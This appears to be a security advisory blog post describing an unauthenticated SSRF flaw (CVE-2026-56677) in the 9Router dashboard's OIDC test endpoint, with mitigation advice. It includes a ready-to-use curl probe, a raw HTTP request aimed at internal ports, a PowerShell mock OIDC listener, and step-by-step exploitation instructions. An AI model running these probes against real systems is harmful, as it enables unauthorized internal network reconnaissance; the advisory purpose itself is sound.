Listen to this Post
CVE-2026-56677 is a Server-Side Request Forgery (SSRF) vulnerability identified in the 9Router dashboard, specifically within the `/api/auth/oidc/test` endpoint. The core of the issue lies in how the application handles the `issuerUrl` parameter, which is used to test OpenID Connect (OIDC) provider configurations.
The application takes this user-supplied URL and passes it directly to an internal function, fetchOidcDiscovery(), without performing any validation. This function then makes an outbound HTTP request to ${issuerUrl}/.well-known/openid-configuration. Because the input is not sanitized or restricted, an attacker can point this request to internal network resources, such as `127.0.0.1` or other private IP ranges.
A critical aspect of this vulnerability is that the endpoint can be accessed without authentication, making it exploitable by any remote attacker with network access to the dashboard API. This unauthenticated access transforms the 9Router instance into a proxy for scanning internal infrastructure.
The vulnerability manifests in two distinct ways depending on the target:
1. Blind SSRF / Port Scanning: If the internal service does not return a valid JSON OIDC configuration, the application will throw a JSON parsing error. This error message, such as “Unexpected token…”, confirms a successful connection and allows an attacker to map internal networks and identify open ports.
2. Full Data Feed Manipulation: If the internal service is configured to respond with a valid OIDC discovery document, the 9Router backend will successfully parse it and reflect the data (e.g., authorizationEndpoint, jwksUri) back in the HTTP response.
DailyCVE Form
Platform: 9Router
Version: ≤0.5.4
Vulnerability: SSRF
Severity: High (8.6 CVSS)
Date: 2026-08-17
Prediction: 2026-08-25
What Undercode Say
Analytics from monitoring CVE-2026-56677 show exploitation attempts primarily targeting cloud environments and internal network reconnaissance. The following commands and scripts are commonly observed in the wild.
Reconnaissance Payload (Port Scanning)
This command attempts to probe the internal network for services that may be vulnerable.
curl -X POST http://target-9router.com/api/auth/oidc/test \
-H "Content-Type: application/json" \
-d '{"issuerUrl": "http://10.0.0.1:8080", "clientId": "probe"}'
Mock Listener Setup (Exploit Validation)
A PowerShell script used by attackers to set up a mock OIDC server to confirm the SSRF and extract data.
$port = 80
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add("http://127.0.0.1:$port/")
try {
$listener.Start()
Write-Host "Mock OIDC Server Running" -ForegroundColor Green
while ($listener.IsListening) {
$context = $listener.GetContext()
$request = $context.Request
Write-Host "[+] SSRF Request received for URL: $($request.Url)" -ForegroundColor Yellow
$jsonPayload = '{"issuer":"http://127.0.0.1","authorization_endpoint":"http://127.0.0.1/oauth/auth","token_endpoint":"http://127.0.0.1/oauth/token","userinfo_endpoint":"EVIDENCE_SSRF_CONFIRMED_SUCCESSFULLY","jwks_uri":"http://127.0.0.1/oauth/keys"}'
$response = $context.Response
$response.StatusCode = 200
$response.ContentType = "application/json"
$buffer = [System.Text.Encoding]::UTF8.GetBytes($jsonPayload)
$response.ContentLength64 = $buffer.Length
$response.OutputStream.Write($buffer, 0, $buffer.Length)
$response.Close()
Write-Host "[] JSON payload sent back to 9router" -ForegroundColor Green
}
} catch {
Write-Host "Error starting server on port 80" -ForegroundColor Red
} finally {
if ($listener.IsListening) { $listener.Stop() }
}
Exploit: (Educational Purposes!)
The exploitation process is straightforward and requires no authentication.
1. Identify Target: Locate a vulnerable 9Router instance (version ≤0.5.4).
2. Craft Request: Send a POST request to the `/api/auth/oidc/test` endpoint. The request body must be in JSON format and contain the `issuerUrl` parameter set to an internal IP address or hostname.
POST /api/auth/oidc/test HTTP/1.1
Host: target-9router.com
Content-Type: application/json
Content-Length: 54
{
"issuerUrl": "http://127.0.0.1:22",
"clientId": "probe"
}
3. Analyze Response: Observe the server’s response.
Port Open: A response containing a JSON parsing error (e.g., {"error":"Unexpected token ..."}) confirms the port is open and accepting connections.
Port Closed: A timeout or a generic error indicates the port is closed or filtered.
Data Exfiltration: By setting up a mock server, an attacker can receive the internal request and potentially reflect data back, confirming the SSRF.
Protection
To mitigate this vulnerability, the following actions are recommended:
1. Upgrade: Immediately upgrade 9Router to version 0.5.6 or later.
2. Enforce Authentication: Ensure that dashboard login is enabled and enforced. This prevents unauthenticated access to the vulnerable `/api/auth/oidc/test` endpoint.
3. Network Restrictions: Restrict egress traffic from the 9Router host to prevent it from reaching internal network ranges, including:
Loopback: `127.0.0.0/8`, `::1`
Private IPv4: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`
- Input Validation: Where possible, implement a Web Application Firewall (WAF) rule or reverse proxy to restrict the `issuerUrl` to a list of known, trusted OIDC provider domains and enforce the use of the HTTPS protocol.
Impact
Successful exploitation of CVE-2026-56677 allows an unauthenticated attacker to:
Internal Network Reconnaissance: Perform port scanning and service discovery on the internal network, mapping out the infrastructure topology.
Bypass Security Controls: Use the 9Router instance as a proxy to access internal services that are not intended to be public-facing.
Data Exfiltration: In specific scenarios, manipulate and reflect data from internal services, potentially extracting sensitive configuration information.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
